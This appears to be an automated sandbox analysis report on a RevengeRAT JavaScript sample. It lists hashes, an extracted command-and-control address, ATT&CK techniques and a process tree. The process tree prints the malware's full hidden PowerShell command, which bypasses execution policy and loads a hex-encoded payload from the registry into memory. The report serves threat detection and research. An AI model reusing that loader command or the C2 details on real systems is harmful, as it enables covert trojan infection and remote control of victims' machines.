revengerat | 862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/01/2025, 03:19

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General

Target
862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7.js
Size 253KB
Sample250121-dvanbstndx
SHA256 862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7
MD5 453bc0d9d84305bd4811c8c0c8622db6
SHA1 85553506f2dc5abcec56a06cb36f69c0b046efa4
SHA512 af6ef42e885481ae3bc0939017c8eb328531ea50d7eb852bd7b5b744a70d202e57f09f2671ab1553c05d4c53181973896c44109e7eb19f7fb0d087f697632d87
SSDEEP 6144:p8t+pgvJENiy2BMs+1WKKL7EVLy19uQTuol9nv2RWoaAImBeN1PXY1qm:p8kpgvJENZ2JJLm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 26 IoCs

flow	pid	Process
11	3028	powershell.exe
15	3028	powershell.exe
16	3028	powershell.exe
20	3028	powershell.exe
26	3028	powershell.exe
40	3028	powershell.exe
41	3028	powershell.exe
42	3028	powershell.exe
43	3028	powershell.exe
44	3028	powershell.exe
48	3028	powershell.exe
49	3028	powershell.exe
50	3028	powershell.exe
51	3028	powershell.exe
52	3028	powershell.exe
59	3028	powershell.exe
60	3028	powershell.exe
61	3028	powershell.exe
62	3028	powershell.exe
63	3028	powershell.exe
64	3028	powershell.exe
65	3028	powershell.exe
66	3028	powershell.exe
67	3028	powershell.exe
68	3028	powershell.exe
69	3028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3028	powershell.exe
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 3028	1868	wscript.exe	84
PID 1868 wrote to memory of 3028	1868	wscript.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_1yuy5eky.tv3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yuy5eky.tv3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3028-0-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

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memory/3028-1-0x0000027087ED0000-0x0000027087EF2000-memory.dmp

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memory/3028-11-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

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memory/3028-12-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

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memory/3028-13-0x00000270A0EE0000-0x00000270A0F24000-memory.dmp

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memory/3028-14-0x00000270A0120000-0x00000270A012A000-memory.dmp

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memory/3028-15-0x00000270A0FB0000-0x00000270A1026000-memory.dmp

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memory/3028-16-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

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memory/3028-17-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

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memory/3028-18-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

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